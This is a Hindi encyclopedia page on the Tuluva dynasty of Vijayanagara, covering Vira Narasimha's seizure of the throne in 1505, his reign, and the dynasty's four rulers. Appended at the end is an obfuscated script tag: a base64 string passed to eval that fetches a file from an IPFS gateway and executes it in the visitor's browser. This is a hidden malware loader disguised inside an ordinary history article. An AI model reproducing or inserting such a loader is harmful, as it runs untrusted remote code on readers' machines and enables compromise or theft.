तुलुव वंश
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
तुलुव वंश (1505-1570 ई.) की स्थापना नरसा नायक के पुत्र 'वीर नरसिंह' ने की थी। इतिहास में इसे 'द्वितीय बलापहार' की संज्ञा दी गई है।
- 1505 में नरसिंह ने सालुव वंश के नरेश इम्माडि नरसिंह की हत्या करके स्वंय विजयनगर साम्राज्य के सिंहासन पर अधिकार कर लिया और तुलुव वंश की स्थापना की।
- नरसिंह का पूरा शासन काल आन्तरिक विद्रोह एवं आक्रमणों के प्रभावित था।
- 1509 ई. में वीर नरसिंह की मृत्यु हो गयी।
- यद्यपि उसका शासन काल अल्प रहा, परन्तु फिर भी उसने सेना को सुसंगठित किया था।
- उसने अपने नागरिकों को युद्धप्रिय तथा मज़बूत बनने के लिय प्रेरित किया था।
- वीर नरसिंह ने पुर्तग़ाली गवर्नर अल्मीडा से उसके द्वारा लाये गये सभी घोड़ों को ख़रीदने के लिए एक समझौता किया था।
- उसने अपने राज्य से विवाह कर को हटाकर एक उदार नीति को आरंभ किया।
- नूनिज द्वारा वीर नरसिंह का वर्णन एक ‘धार्मिक राजा’ के रूप में किया गया है, जो पवित्र स्थानों पर दान किया करता था।
- वीर नरसिंह की मृत्यु के पश्चात् उसका अनुज 'कृष्णदेव राय' सिंहासनारूढ़ हुआ।
तुलुव वंशी शासक
तुलुव वंशी शासकों का विवरण निम्न प्रकार से है-
- वीर नरसिंह (1505-1509 ई.)
- कृष्णदेव राय (1509-1529 ई.)
- अच्युतदेव राय (1529-1542 ई.)
- सदाशिव राय (1542-1570 ई.)
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>